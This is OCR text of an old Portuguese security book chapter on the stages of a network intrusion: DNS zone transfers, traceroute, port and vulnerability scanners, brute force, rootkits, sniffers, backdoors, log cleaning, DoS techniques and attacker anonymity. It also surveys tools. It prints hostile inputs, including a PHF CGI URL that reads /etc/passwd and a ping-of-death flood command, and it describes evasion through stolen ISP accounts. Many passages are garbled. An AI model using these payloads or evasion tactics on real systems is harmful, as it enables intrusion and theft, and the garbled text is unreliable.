No Brasil, o órgão regulador para o cadastro de domínios é a FAPESP (http:// registro.fapesp.br). Lá encontram-se todas as informações disponíveis dos domínios cadastrados no país. O hacker poderia ali levantar as informações sobre os servidores de DNS da vítima e a partir daí seguir para a segunda fase do ataque. Na FAPESP é possível descobrir se o domino está num provedor ou em uma estaçao na própria empresa.
Consulta no DNS
O DNS é hoje na Internet um dos principais serviços de consulta a nomes de domínios. Basicamente cada site possui um servidor que guarda um banco de dados dos domínios ali cadastrados. Se neste banco de dados nâo se tomar cuidado, certas informações podem ser passadas e utilizadas pelo hacker para seus futuros ataques. Isto pode ser feito através do comando nslookup do TCP/ IP do Linux, um utilitário que pesquisa o DNS e permite a visualizaçâo de informações sobre o mesmo. Vejamos a seguir um exemplo:
[oldmanbox /] #nslookup
Default Server: olom.hack.net
Address: 10.0.0.1
>set q =any
>vitima com. br
Non-authoritative answer:
vitima.com.br nameserver = 11s1.vitima.com.br
vitima.com.br nameserver = NS2 .nitima.com.br
Authoritative answers can be found from:
vitima.com.br nameserver = ns1.vitima.com.br
vitima.com.br nameserver = NS2 .nitima.com.br ns1.vitima.çom.br NS1.nitima.com.br internet address = 192.168.0.1
NS2.nitima.com.br internet address = 192.168.0.2
Com posse dos IPS dos servidores de DNS faça o seguinte no nslookup:
>server 192.168.0.1
Default Server: 192.168.0.1
Address: 192.168.0.1
>set tvpe=any
> is -d vitima.com.br > /dns.out
>quit
Ao voltar ao prompt do linux digite o seguinte:
(oldmanbox /]#more dns.out
> ls -d vitima.com.br
[m2wo.vitima.com.br]
$ORIGIN vitima. com. br.
@ 1D IN SOAnsi root (
#
#
#
#
#
#
2000021501 ; serial
8H ; refresh
4H ; retry
5w6dl6h ;expiry
1D ) ; minimum
1D IN NS ns1
1D IN NS ns2 .vitima.com.br
1D IN MX o ns2.vitima.com.br
1D IN A 192.168.0.1
serverbd 1D IN A 192.168.0.51
#
#
1D IN HINFO "Alpha NT"
1D IN TXT "Oracle Sede RJ"
diretorial 1D IN A 192.168.0.52
1D IN HINFO "Win 98"
1D IN TXT "Diretoria Financeira"
Este arquivo exemplo gerado por esta pesquisa mostra como o DNS pode
revelar muitas informações se nâo bem oculto. Nesta listagem, o hacker já
sabe que o servidor de correio é o ns2.vitima.com.br (parâmetro MXdo DNS)
e descobriu um servidor NT (parâmetro HINFOdo DNS) e uma estação Windows
98. da diretoria financeira!
Outro recurso de procura com o DNS éo comando host do Unix/Linux. Exemplo:
[oldmanbox /]#host -1 vitima.com.br
vitima.com.br name server ns1.vitima.com.br
vitima.com.br name server ns2 .vitima.com.br
vitima.com.br has address 192.168.0.1
acessoll.vitima.com.br has address 192.168.0.60
ns1.vitima.com.br has address 192.168.0.1
ns2.vitima.com.br has address 192.168.0.2
router.vitima.com.br has address 192.168.0.254
fir.vitima.com.br has address 192.168.0.10
.
.
.
Desta maneira é possível visualizar vários IPSdas máquinas que compõem esta rede como um todo. Para o /7acker estas informações são por demais valiosas, já que com elas é possível estabelecer quais serão as vitimas de seu ataque.
Rotas
O acompanhamento de rotas de pacotes IP entre redes é uma das formas de saber que máquinas estão funcionando como servidores e descobrir quais são os roteadores que as interligam. Para isto basta utilizar o programa traceroute desenvolvido originalmente por Van Jacobson e que normalmente vem acompanhado em sistemas Linux e Unix (no Windows NT se chama tracert).
Com o traceroute é possível descobrir a topologia de uma rede, identificar os dispositivos de controle de acesso (roteadores, firewalls, etc.). O exemplo a seguir ilustra seu funcionamento:
[oldmanbox /)# traceroute vitima.com.br
1 oldmbox (10.0.0.1> 147.526 ms 139.575 ms 139.909 ms
2 router.net.com.br (10.0.0.250) 139.921 ms 149.821 ms 139.936 ms
3 router.vitima.com.br (192.168.0.254> 229.939 ms 309.867
ms 299.925 ms
4 fir.vitima.com.nr (192.168.0.10) 289.899 ms * *
5 nsl.vitima.com.br (192.168.0.1> 259.909 ms * 310.084 ms
Neste exemplo podemos ver que, depois de sair do roteador, no site da vítima os pacotes passam por uma máquina chamada fir.vitima.com.br; antes de chegar ao servidor principal. Provavelmente pode tratar-se de um firewall ou um gateway qualquer. Este exemplo anterior é por demais simplista, não existe um bloqueio efetivo implementado.
O traceroute ainda pode ser utilizado para análise de uma determinada porta. Vamos verificar o exemplo a seguir:
[oldmanbox /]# traceroute -p25 192.168.0.2
Onde -p é O número da porta, no caso 25, de SMTP. Neste caso poderíamos verificar se há uma respotsa da porta 25 na máquina destino. Com isto, podemos testar várias repostas de portas, mas vamos discutir agora uma maneira mais fácil de saber se um serviço está ativo ou não. Utilizaremos para isso a técnica de scanning.
Scanning ou Varredura
Levantadas as informações com as técnicas de footprinting, o hacker passaria para a segunda fase do ataque que seria a varredura ou scanning da rede. Os scanners são programas que percorrem as principais portas e serviços do sistema em busca de respostas. Basicamente existem dois tipos de scanners: os de porta e os de vulnerabilidade. Discutiremos melhor sobre os scanners no Capitulo 2.
Neste passo, o hackervarre a rede em busca de portas abertas ou serviços que apresentem possíveis vulnerabilidades para utilizá-las para a invasão. Este levantamento pode ser muito demorado, dependendo do tamanho da rede. Obtidas as informações, o próximo passo é a invasão propriamente dita.
Normalmente o hacker (o profissional) nunca executa a varredura de sua máquina e sim de uma outra máquina na lnternet.
O Ataque
Basicamente esta é a fase principal do hacker, o ataque, ou melhor, a penetração no sistema. Existem ataques que já não estão em voga, mas ainda são utilizados em sistemas bastante desprotegidos.
Estes ataques são os chamados ataques brute force (força bruta). Os serviços mais comuns atacados por esta técnica são: FTP, Te/net POP, HTTP, Secure Shell (55K), os comandos Remote (rsh, r/ogin, etc.) Existem ainda sistemas vulneráveis a este tipo de ataque. De acordo com um hacker americano, cerca de 20% dos sistemas na Internet ainda são vulneráveis!
O mais utilizado atualmente é o chamado bufferoverflow, que consiste em pôr mais dados num buifer do que ele pode suportar Frequentemente devido a erros na programação, pode-se tomar vantagem deste problema, permitindo a execução de códigos arbitrários, como por exemplo um shell de root! Existem buifer overflows do tipo local e remoto, sendo que este último é a principal forma de acesso não autorizado a um sistema. Muitos, mas muitos sistemas são vulneráveis a este tipo de ataque devido ao desconhecimento de seus administradores.
Outro tipo de ataque são os ataques baseados em CGI, conhecidos como I»put valldation attacks. O mais famoso é o PHF descoberto em 1996 por Jennifer Nyers. Com este ataque se poderia conseguir o passwd de um sistema!
Dica de segurança de Oldm@n
Durante o período de 1 996 e 1 997 o PHF foi a coqueluche entre os hackers para roubar as senhas de um site. A sintaxe do comando era a seguinte:
http://www.vitima.com.br/cgi-bin/phf?Qalias=x%Oa/bin/cat%20/etc/passwd
Em muitos casos o passwd não tinha a proteção do shadow, então...
Nos dias de hoje já existem novos tipos de ataque explorando este tipo de vulnerabilidade. Vamos analisá-los nos próximos capítulos.
Após a Invasão
Quando o hackerestá dentro do sistema, ele prepara seu ambiente de trabalho executando quatro operações básicas:
Utilização de rootkits
Um rootkit com põe-se de um conjunto de programas do sistema devidamente 5 para efetuar operações não autorizadas. Por exemplo, o programa
'poderia ser substituído por um inetddo rootki4 que além de executar as ~raçoes normais, poderia abrir uma entrada para um hacker sem maiores
s! Os rootkits contém o que nós chamamos de cavalos de Tróia ou ~jans e são a praga dos administradores de sistema.
é uma ferramenta que captura, armazena e analisa pacotes que trafepela rede. Mas para que um hackerexecutaria um sniffer? Simplesmente
- capturar senhas! Isto mesmo: com um sniffer sendo executado em um todas as pessoas que estivessem executando um logon a este servidor; suas senhas capturadas.
Um exemplo de arquivo resultante de um sniffer, teria o seguinte resultado:
l0.0~0.l => ns2.vitima.com.br (ll0~
USER oldman
PASS hacking
STAT
QUIT
- - - - - [FIN]
O logon do usuário é oldman e sua senha hacking.
Dica de segurança de Oldm@n
Imaginem um sniffer sendo executado em um provedor: o hacker conseguirá dezenas de contas para utilizar como meio de invasão incógnito. Um hacker nunca utiliza sua prórpia conta de acesso àlnternet, normalmente utiliza a conta roubada de alguém de um provedor.
Mas os sniffers podem ser facilmente detectados por colocarem os dispositivos de rede em modo promíscuo (promiscuous mode). Contudo, com a utilização de um rrotkit, o hacker pode evitar esta detecção. Nos próximos capítulos estes detalhes serão explicados.
Colocação de Backdoors
Um backdooré um programa que permite o acesso de um hackerao sistema através de uma porta TCP ou UDR O backdoor pode vir junto com um rootkít, ou ser implementado pelo hacker. Na prática, o backdoor permite abrir uma conexão do tipo cliente/servidor; gerando um acesso a um shell com perfil de root.
O exemplo a seguir pode melhor ilustrar esta situação:
(oldmaribox /]# telnet 192.168.0.2 42000
Connected..
password: *******
[/]#
O backdoor está respondendo na porta 42000, bastou o hacker fazer um te/net
a esta porta, digitar uma senha definida por ele e adquirir o shell de root.
Existem vários tipos de backdoor, inclusive baseados em ICMP. Analisaremos
melhor no capítulo sobre backdoors estas ferramentas.
Limpeza de Logs
Feita a invasão, colocada as ferramentas (trojans e backdoors), vem a última fase da invasão, ou seja, apagar os rastros da presença no sistema. Normalmente os /7ackersse valem dos Iogcleaners, ou seja, programas que limpam os logs do sistema apagando sua presença propriamente dita. Estes programas alteram as informações em vários arquivos de segurança, causando assim a não detecção da invasão.
Dica de segurança de Oldm@n
Alguns programas de limpeza de logs são realmente eficientes, inclusive limpam o arquivo bash history do root e do sistema. Apesar disto muitos hackers foram pegos por terem esquecido de limpar
estes dois arquivos importantes.
A partir daí a máquina está sob a posse do hacker; ou como dizem no jargão ownada, um anglicismo vindo da palavra inglesa owning, que significa tomada, conquistada.
Outros ataques Explorados por Hackers
existe apenas o ataque com o sentido de invadir máquinas. Existem também alguns voltados para o dano e paralisação de sites, bem como propagação virus. Citaremos adiante os mais utilizados pelos hackers.
Denial of Service (DoS)
Trata - se de colocar serviços em máquinas locais ou remotas fora de operação, sem
ter a devida permissão. Esses tipos de ataques são facilmente colocados
em pratica e por vezes de difícil prevenção.
#
#
Os ataques de Denial of Service (DoS) são muito usados porque eles podem temporariamente deixar uma máquina desligada ou travada, e dependendo de qual máquina, até sua rede inteira. O objetivo de quem quer fazer um DoS ésimples e direto: tirar host(s) da rede. Exceto quando são usados em testes em suas próprias máquinas, os DoS's são sempre nocivos.
O primeiro DoS de alguma significância foi o Morris Worm. Foi estimado que algumas das 5000 máquinas afetadas por este worm ficaram fora por várias horas. Na época (novembro de 1988), isto foi um grande desastre para várias instituições, como centros de pesquisas e universidades, mas não teve tanto impacto para o resto do mundo. Hoje em dia, um DoS pode resultar em milhões perdidos.
Distributed Denial of Service (DDos)
Os ataques a grandes sites na Web (Yahoo!, Amazon,etc.) são fruto de uma técnica explorada pelos hackers. o ataque distribuído. Baseado nas técnicas de Denial of Service, é feito através do envio de pacotes de dados em larga escala, para serviços baseados em RPC, que já foram devidamente invadidos.
Em vez de um host, o hacker utiliza uma rede de máquinas espalhadas pela Internet para realizar este tipo de ataque. No Capitulo 3 falaremos mais a respeito.
E-mail Bomba
A técnica de e-mail bomba é nada mais nada menos do que o estouro do espaço reservado para a caixa postal de um usuário. Cada usuário possui, normalmente, um espaço no disco rígido de um sistema para o armazenamento de suas mensagens em sua caixa postal. O objetivo principal do e-mail bomba é o envio contínuos de mensagens até o preenchimento total deste espaço e conseqúentemente o impedimento da chegada de novas mensagens, até que o administrador ou usuário limpem este espaço. Normalmente, o usuário recebe centenas e, às vezes, milhares de mensagens repetidas até que o administrado
consiga bloquear o sistema.
Syn Flooding
Uma requisição de conexão TCP(SYN) é enviada para um computador alvo. A origem do endereço IP no pacote é substituida com um endereço que não está em uso na internet, ou que pertence a outro computador É a técnica conhecida como spoofing, da qual falaremos mais à frente.
O ataque vai então enviar muitos TCP SYN's, sobrecarregando o alvo que tenta responder a todas as requisições com um SYN-ACK. No caso, então, de um IP não existente nenhuma resposta será recebida ao SYN-ACK. A configuração padrão do Windows NT 3.5x ou 4.0 irá retransmitir o SYN-ACK 5 vezes. Agora imagine quantas vezes ele tentará responder às múltiplas requisições de conexão.
Existe um comando simples que vocé poderá executar para verificar se está sob este tipo de ataque no windows, é o netstat Vamos a um exemplo:
c:\) netstat -n -p tcp
Se sua máquina estiver sob ataque, verá algo parecido com isso:
Active Connections
Proto Local Address Foreign Address State
TCP 127.0.0.1:1030 127.0.0.1:1032 ESTABLISHED
TCP 127.0.0.1:1032 127.0.0.1:1030 ESTABLISHED
TCP 10.57.8.190:21 10.57.14.154:1256 SYN_RECEIVED
TCP 10.57.8.190:21 10.57.14.154:1257 SYN_RECEIVED
TcP 10.57.8.190:21 10.57.14.154:1258 SYN_RECEIVED
TcP 10.57.8.190:21 10.57.14.154:1259 SYN_RECEIVED
TcP 10.57.8.190:21 10.57.14.154:1260 SYN_RECEIVED
TCP 10.57.8.190:21 10.57.14.154:1261 SYN_RECEIVED
TCP 10.57.8.190:21 10.57.14.154:1262 SYN_RECEIVED
TCP 10.57.8.190:21 10.57.14.154:1263 SYN_RECEIVED
TCP 10.57.8.190:21 10.57.14.154:1264 SYN_RECEIVED
TCP 10.57.8.190:21 10.57.14.154:1265 SYN_RECEIVED
TCP 10.57.8.190:21 10.57.14.154:1266 SYN_RECEIVED
TCP 10.57.8.190:4801 10.57.14.221:139 TIME_WAIT
Ping Flooding
como Ping of Death (ping da morte), pode congelar ou reiniciar Windows95 e Windows 98. Consiste em enviar pacotes ICMP com tamanhos os de 65000 bytes. O Windows não tem capacidade de gerenciar este ~ho de pacote. Eis um exemplo passo a passo de um ataque:
Antes do Ataque
linux:~# ping 192.168.0.4
PING 192.168.0.4 (192.168.0.4>: 56 data bytes
64 bytes from 192.168.0.4: icmp_seq=0 ttl=128 time=0.5 ms
64 bytes from 192.168.0.4: icmp_seq=1 ttl=128 time=0.5 ms
- 192.168.1.4 ping statistics -
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.5/0.5/0.5 ms
O Ataque
linux:~# ping -f -s 65000 192.168.0.4
PING 192.168.0.3 (192.168.0.4): 65000 data bytes
.......................................................................................................................
- 192.168.0.4 ping statistics --
11440 packets transmitted, 228 packets received, 98% packet loss
round-trip min/avg/max = 0.6/32.0/64.2 ms
Após o Ataque
linux:~# ping 192.168.0.4
PING 192.168.0.4 (192.168.0.4): 56 data bytes
- 192.168.0.4 ping statistics --
4 packets transmitted,0 packets received, 100% packet loss
A máquina foi reiniciada devido ao excesso de pacótes IMCP.
Smurf Attack
Ataques smurf exploram erros de configuração em roteadores que permitem a passagem de pacotes IMCP ou UDP direcionados a endereços de broadcast, transformando redes em amplificadores destes.
Um atque smurf, utilizado um dado número de redes amplificadoras consegue consumir grandes quantidades de banda, tanto destas redes quanto da rede da vítima, tornando inviável o tráfego nas mesmas. A configuração correta de host e roteador para bloquear este tipo de ataque é extremamente dependente de fabricante.
Process-table Attack
O Process-table Attack é um tipo de ataque de Denial of Service relativamente novo que pode ser lançado contra numerosos serviços de rede que usam sistemas Unix.
Este ataque funciona em uma variedade enorme de sistemas Unix, incluindo os sistemas Solaris, Irix e Linux que atuam como Provedores Internet. Para que um servidor fique inoperante, o agressor apenas precisa enviar a ele muitas solicitações de conexao, que por sua vez causam uma sobrecarga no sistema.
Os sistemas Unix comuns trabalham normalmente com um limite que varia entre 600 a 1500 conexões (processos) simultâneos. Entao, quando esse "limite" é atingido, o servidor trava. Todavia, muitos destes servidores Unix podem ser configurados para aceitar até um certo limite de processos simultâneos, o que evitaria este problema, mas nao deixa de ser um "bug" e como tal deve ser corrigido.
Como foi dito antes, um sistema Unix "Standard" possui limites do número de processos que os usuá rios podem executar, mas nâo existem limites no número de processos que um super usuário (root) pode criar, mesmo que estejam acima do limite imposto pelo hardware. Considerando que os pedidos de conexao TCP/IP sâo controlados pelos servidores que estâo executando como root, é possível abarrotar a tabela de processos (process-table) do sistema com múltiplos pedidos de conexâo a esta máquina.
este ataque é bem sucedido, ele impede a máquina de executar qual-quer outro comando, ocorrendo entâo o travamento. Para executar o ataque à
de processos (process-tab/e-attack) o cliente precisa somente fazer uma ~xao ao servidor e nao enviar qualquer informaçao. Assim que o cliente
a conexao, esta conexao se tornará um processo a ocupar uma na tabela de processos do sistema.
nao? Em muitos computadores, o finger é lançado pelo inetd. Os autores do inetd, colocaram várias proteções no código fonte do programa que precisam ser bypassadas para que um ataque possa ter sucesso. Se o inetd receber mais de 40 conexões para um serviço em particular em menos de um minuto, este serviço é desabilitado por 10 minutos. A razão disto não é proteger o servidor contra ataques à tabela de processos, mas proteger o servidor contra alguns softwares que possam gerar muitas conexões rapidamente.
Resumo
Neste capítulo vimos os perfis dos atacantes e como podemos distinguir cada um deles. Vimos ainda o passo-a-passo de um ataque, desde os modos de operaçao na aquisiçâo das informações de um sistema, sua invasao e a eventual tomada do sistema pelo hacker. Analisamos também outros ataques, estes de cunho destrutivo, e que têm o principal objetivo de paralisar um site ou prejudicar um usuário.
Estes ataques podem partir desde e-mails bomba até a sobrecarga de serviços que causem a interrupçâo da operaçào de um servidor.
Atacar vindo das sombras
No Capítulo 1 conhecemos o perfil e a técnica básica de invasao utilizadas por hackes. Neste capítulo analisaremos algumas das principais ferramentas disponlveis na Internet, bem como exploits e várias outras que podem ser utilizadas para estes fins. O hacker sabe onde encontrar e utilizar estas ferramentas, e depois de um determinado tempo, poderá tornar-se habilidoso em programaçao e começar a criar as suas próprias, ou aprimorar as existentes.
Scanners
Como dito anteriormente, scanners são ferramentas que analisam redes procurando por vulnerabilidades que possam comprometer a segurança do local.
Existem inúmeros tipos de scanners, e eles são de grande ajuda tanto para como para administradores de sistemas. Os mais populares são de dominio público (GPL), porém também existem scanners comerciais disponíveis para a plataforma Microsoft).
Conhecer as fraquezas do seu sistema é algo fundamental, pois tenha certeza de que cedo ou tarde alguém de fora vai bater à sua porta, e, quando isso acontecer, é bom que esteja preparado.
Periodicamente são lançados scanners que detectam as vulnerabilidades mais recentes, cabendo ao administrador providenciar o patch de correção, antes que explorem qualquer vulnerabilidade do sistema. Observe que um scanners só detecta o problema, raros são aqueles que automaticamente se aproveitam 1 da falha para obter algum nível de acesso.
Vale lembrar que não basta fazer uma sondagem no seu sistema, é preciso ficar atento às listas de discussão relacionadas à segurança. Assim você poderá rapidamente saber de possíveis bugs e correr atrás do patch. Lembre-se de sempre haverá exploits private os quais circulam num círculo fechado de hackers. Existem dois tipos de scanners: port scanning e scanners de vulnerabilidade.
Port Scanning
Basicamente, verifica as portas abertas de um sistema. Existem stealth port scanners, que podem não ser detectados, sendo necessárias ferramentas especializadas para sua detecção. O objetivo de um port scan é detectar as porta de serviços de um sistema, fazendo-as responder cada vez que forem consultadas. Isto permite que o hackerpossa determinar se certas portas estâo ou não abertas no sistema.
Existem alguns tipos de port scanning muito utilizados, são eles:
TCP CONNECT SCAN - Este tipo de scanner conecta em uma porta e executa os três handshakes básicos ( SYN, SYN/ACK e ACK). Este tipo de scanner é facilmente detectável.
TCP SYN SCAN - Conhecido como ha/f-open scannig, devido à conexão TCP durante a operação. Com isto, evita que o log da operação fique no sistc ma. Normalmente o programa envia um pacote SYN para a porta alvo, se recebido um SYN/ACK do alvo, o programa deduz que a porta está no modo escuta, caso seja um RST/ACK, significa que a porta não está ativa naquele momento.
UDP SCAN - Trata-se de um dos processos mais lentos de scannin~ pois depende de fatores de utilização da rede e de recursos de sistema. O scanner envia um pacote UDP para a porta alvo, se a resposta for ICMP port unreachable, a porta encontra-se fechada, caso contrário, o scanner deduz que a porta está aberta.
TCP NULL SCAN - Neste caso, o scannerdesativa todos os flags e aguarda do alvo um RST para identificar todas as portas fechadas. Baseado na RFC 793.
TCP FIN SCAN - Neste caso, o scanner envia pacotes FIN para a porta alvo e espera o retorno de um RST para as portas fechadas. Baseado na RFC 793.
TCP XMAS TREE SCAN - Neste caso, o scanner envia pacotes FIN, URG e PUSH para a porta alvo e espera o retorno de um RST para as portas fechadas. Baseado também na RFC 793.
FERRAMENTAS
Vamos agora descrever cada uma das ferramentas de port scan mais populares.
NMAP - Network Mapper
Autor: Fyodor
Plataforma: Linux
URL: http://www.insecure.org/nmap
Licença: GPL
O nmapé um dos scanners de porta mais populares entre hackers e especialistas
de segurança. Escrito por Fyodor é de simples operação e capaz de realizar até
Stealth Portscans. A seguir temos um exemplo de um simples port scan com o
nmap em uma máquina local.
[root@EBOLA nmap-2.12]# ./nmap -sS 127.0.0.1
Starting nrnap V. 2.12 by Fyodor (fyodor8dhp.com, www.insecure.org/nmap)
WARNING! The following files exist and are readable:
/usr/local/lib/nmap/nmap-serviçes and ./nmap-services. I am choosing
/usr/local/lib/nmap/nmap-services for security reasons. set NMAPDIR=. to
give priority to files in your local directory
Interesting ports on localhost (127.0.0.1):
Port State Protocol Service
22 open tcp ssh
23 open tcp telnet
25 open tcp smtp
79 open tcp finger
111 open tcp sunrpc
113 open tcp auth
421 open tcp ariel2
513 open tcp login
514 open tcp shell
515 open tcp printer
Nmap run completed - 1 Ip address (1 host up) scanned in 1 second
Trata-se de um excelente portscan. Nós o recomendamos para uso na detecção de portas em sua rede. Depois de aberto no sistema vá ao diretório /doc e veja o arquivo nmap_doc.html para toda as opções do sistema.
Netcat
Autor: Hobbit
Plataforma: Linux/NT
URL: http ://packetstorm . securify.com/archives/scanners
Licença: GPL
O Netcat ou NC, como muitos falam é uma espécie de utilitário PPTO (pau toda a obra). E um scanner simples, rápido e eficiente, além de ser capaz de executar comandos remotos em uma espécie de shell. A seguir temos um exer de um simples portscan com o NC em uma máquina local.
[root@EBOLA /nc]# ./nc -u -v -z -w2 127.0.0.1 1-140
[127.0.0.1] 139 (?) open
[127.0.0.1] 135 (?) open
[127.0.0.1] 110 (pop-3) open
[127.0.0.1] 80 (http) open
[127.0.0.1] 79 (finger) open
[127.0.0.1] 21 (ftp) open
Durante o livro veremos outras funções interessantes do NC. A documenta está contida no arquivo readme no diretório de instalação do NC.
SuperScan
Autor: TLsecurity
Plataforma: NT/WIN 95/98 e WIN 2000
URL: http ://packetstorm . secu rifv. com/a rchives/ntscanners
Licença: GPL
O SuperScan é um scanner baseado em GUI voltado exclusivamente para o ambiente Windows. E capaz de realizar a varredura de várias portas em uma rede, baseado em ambiente Microsoft e gerar reports em arquivos. A seguir; temos um exemplo de sua tela principal com uma operação de scanning sendo realizada.
Este scanner é o ideal para quem tem redes baseadas em ambiente Microsoft.
Scanners de Vulnerabilidade
Utilizado para a detecção de vulnerabilidades em softwares que estão sendo executados em um sistema. Este tipo de scanneré muito útil para o hacker, já que através disto ele pode escolher qual o exploita ser utilizado para a invasão. Existem diversos scanners de vulnerabilidade, mas muitos codersdesenvolvem scanners private (scanner de uso pessoal não divulgados) e que utilizam para fins não muito éticos.
Ferramentas
Vamos agora descrever os scanners de vulnerabilidade mais populares.
NESSUS
Renaud Deraison ma: Linux /NT
http://www.nessus.org a: GPL
Para compilá-lo no Linux, será necessario a libgtk, glib, lib-gmp, e algumas outras libs gráficas, pois ele foi desenvido para o ambiente X-windows.
Desenvolvido pelo francês Renaud Deraison, esse scanner possui características bastante interessantes. O Nessus roda em cima do seu próprio daemon, permia você colocar o nessus daemon em um determinado host e a partir do cliente scanner toda uma subnet co como se estivesse partindo tudo do host onde está o seu daemon. Ele pode checar por até 208 vulnerabilidades. Possui uma interface bastante amigável e já esta na versão 0.99.
Na versão NT, ele se encontra em um versão menos avançada, mas assim mo possui uma excelente recursividade.
WHISKER
Autor: rain.forest.puppy
Plataforma: Linux
URL: http ://packetstorm .securify.com/archives/ntscanners
Licença: GPL
Notas: Para executá-lo no Linux, será necessário o interpretador PERL instala
Excelente CGI scanner, se diferencia dos outros pelos modos de ação, com você pode usar um proxy e outras táticas anti-IDS. Verifica um grande número de vulnerabilidades. Veja, a seguir, um exemplo do whisker em uma m local.
- whisker / vl.0.0 / rain.forest.puppy / ADM / wiretrip -
Usage: whisker -s script.file ((-n input.file) | (-hhost) | (-H list)) (-1 log.file)
-s specifies the script database file **
-n nmap output (machine format, v2.06+) *
-h scan single host (IP or domain) *
-H host list to scan (file) *
-v use virtual hosts when possible
-v verbose. Print more information
-d debug. Print extra crud++ (to STDERR)
-p proxy off x.x.x.x port y (HTTP proxy)
-l log to file instead of stdout
-u user input; pass XXUser to script
-I IDS-spoof mode-encode URLs to bypass scanners
-E IDS-evasive mode-more IDS obfuscation
-i more info (exploit information and such)
-N query Netcraft for server OS guess
-S force server version (e.g. -S "Apache/l.3.6">
** required * optional; one must exist
Vete Scan
Autor: Vete Girl
Plataforma: Linux
URL: http ://www.self-evident.com/vete-scan
Licença: GPL
Trata-se de um scanner de vulnerabilidade para ambiente Linux e que é uma excelente ferramenta de detecção de problemas. Desenvolvido por Vete Girl é altamente recomendado.
Outros Scanners Interessantes
SATAN (Security Administrator's Tool for Analyzing Networks)
Autor: Dan Farmer
Plataforma: Linux
URL://www.fish.com/satan
Licença: GPL
Nenhum livro de segurança pode deixar de falar deste software,o SATAN é o avô dos scanners de vulnerabilidade. Escrito em PERL, foi feito para ser executado e gerar relatórios em um browser e foi a primeira grande ferramenta utilizada por hackers para detecção de vulnerabilidades em sistemas. E muito interessante executar o SATAN para fins de aprendizado das técnicas de scannig. Atualmente muitos administradores utilizam este software para detectar vulnerabilidades em suas redes.
SAINT (Security Administrator's Integrated Network Tool)
Autor: World Wide Digital Security, Inc.
Plataforma: Linux
URL: http://www.wwdsi.com/saint
Licença: GPL
O SAINT é considerado por muitos uma evolução do SATAN. Com suporte detecção a vários tipos de vulnerabilidades como DoS, ataques de CGI, ataque a POP, buffer overflows, etc. o SAINT tornou-se uma ferramenta interessal no que diz respeito à evolução de um conceito. Como o SATAN, o SAINT escrito em PERL e gera os seus relatórios em browser. Existe no site da uma versão web do SAINT o WebSaint, com relatórios gráficos baseados java e SSL para envio das informações criptografadas.
MBCPOPER
Autor: Felipe Cerqueira - MBC LABS
Plataforma: Linux
URL: http://www.mbc-corp.com.br/produtos
Licença: GPL
Desenvolvido pe,la equipe da MBC para detecção de vulnerabilidade no ser'~ POP QPOPER. E um típico scannervoltado para uma aplicação específica.
Material de Referência
Existem outros scanners que vale a pena serem visualizados. Estes são pequenos scanners que servem para orientar o administrador, a fim de entender o funcionamento destas ferramentas.
No site www.packetstorm.securify.com existem várias delas, vamos citar mas interessantes:
Nome Descrição Plataforma
propecla.c Um scanner de porta para redes Linux
classe C. Muito básico para quem
deseja conhecer o funcionamento
destas ferramentas. Escrito em C.
Contido no site http://packetstorm/securify.com/archives/scanners.
CGI_scanner_v1 .51.11. c Scanner que checa uma série de Linux
vulnerabilidades em CGI's.
Escrito em C.
Contido no site http ://packetstom.com/archives/scanners
portscan.c Scanner simples, rápido e eficiente. Linux
Pode ser encontrado em
http://www.giga.or.at/pub/hacker/unix/portscan.c
Ocultando-se nas Sombras
O Spoofinge outras Técnicas
Vamos imaginar o seguinte cenário:
"Sexta feira, Joãozinho, o Hacker; resolveu invadir um servidor localizado no endereço 192.168.0.1. Como ele não conhece ainda muito desta máquina, precisa scannear para levantar as vulnerabilidades e as portas abertas deste sistema. Como ele poderá fazer isto sem ser detectado????"
Um hacker como Joãozinho terá que se pre~paor em não deixar rastros de seu endereço IP no momento em que executar a operação de scanning. Primeiro, ele não sabe o que está instalado naquele sistema (podem existir ferramentas de detecção!), e arriscar-se por pouco não vale a pena. Como nosso hacker agirá?
Existem várias técnicas utlizadas pelos hackers profissionais, e uma delas envolve a seguinte rotina:
a) Conectar-se ao provedor com uma senha roubada - O hacker se conectará a um provedor qualquer com uma senha conseguida com um do seus muitos sniffers espalhados pela Internet. Uma vez logado e autenticada com esta senha, ele começará o ataque.
b) Acessar shells - Uma vez conectado, ele acessará via backdoors várias máquinas que invadiu até chegar a uma que contenha suas ferramentas de trabalho.
Técnicas Básicas
Trusted Host
A primeira técnica é do trusted host, ou seja uma máquina a que é permitido o login sem fornecimento de senha, ou melhor; sem uma validação. Este host está definido no arquivos /etc/hosts.equiv do sistema. Assim o host passa a ser uma máquina confiável a este sistema.
Outro método é utilizando os serviços do tipo remote (rlogin, rsh, etc.) potencialmente muito perigosos e explorados para invasão.
Wingates
Trata-se de hosts espalhados pela web, que permitem conexão e a partir deles conexões a outros servidores. O atacante conecta-se em um servidor deste tipo e executa um telnet a um host alva. Com isto, o IP que aparece no log do atacado é do wingate e nunca do atacante real.
Anonymizer
Trata-se de um serviço que permite um usuário navegar anonimamente pela Web. Este serviço é comum hoje em dia para aqueles que querem estar livres de cookies e scripts de rastreamento. Trata-se de um proxie do qual o usário se conecta e a partir daí pode ocultar-se atrás do mesmo.
Escondimento de Proxies
Trata-se de navegar utilizando proxies públicos espalhados pela Web. O atacante configura seu navegador para acessar um proxie. Em seguida deste proxie, conecta-se a outro proxie e assim sucessivamente. A desvantagem principal éque a partir de um determinado número de proxies encadeados, a navegação torna-se extremamente lenta.
Shells Invadidas
Quando um hacker possui uma ou várias shells espalhadas pela Internet, as utiliza como trampolins de ataque. Inicialmente se conecta a uma das shells e desta se conecta em outra e assim sucessivamente, até de chegar a última delas e iniciar o ataque. E muito comum este tipo de ataque.
ARP Spoofing
Basicamente explora o serviço de ARP (Address Resolution Protocol), que tem como principal função resolver endereços físicos de hardware com o IR No ato de uma sessão o ARP carrega o endereço IP da origem para o destino. Neste tipo de ataque é forjado o IP da origem, mas o endereço de hardware permanece o original do atacante.
Ferramentas
Existem algumas ferramentas conhecidas para Spoofing, apesar de que as técnicas atuais dispensam as mesmas e o hacker, utiliza suas shells para realizar os ataques. Vamos falar de algumas principais:
Zodiac - DNS Spoofer
Autor: Smiler e Teso Team
Plataforma: Linux
URL: http ://packetstorm.securify.com/spoof
Licença: GPL
O zodiac é um spoof de DNS, que explora vulnerabilidades encontradas neste protocolo. Pode ainda executar tarefas de snifflng e spoof local de DNS. Desenvolvido com Smiler; juntamente com a equipe da Teso, é uma ferramenta bastante eficaz.
Jizz - DNS Spoofer
Autor: Desconhecido
Plataforma: Linux
U RL: http ://bobo.urs2.net/computer_security/152cscripts/jizz.c
Licença: GPL
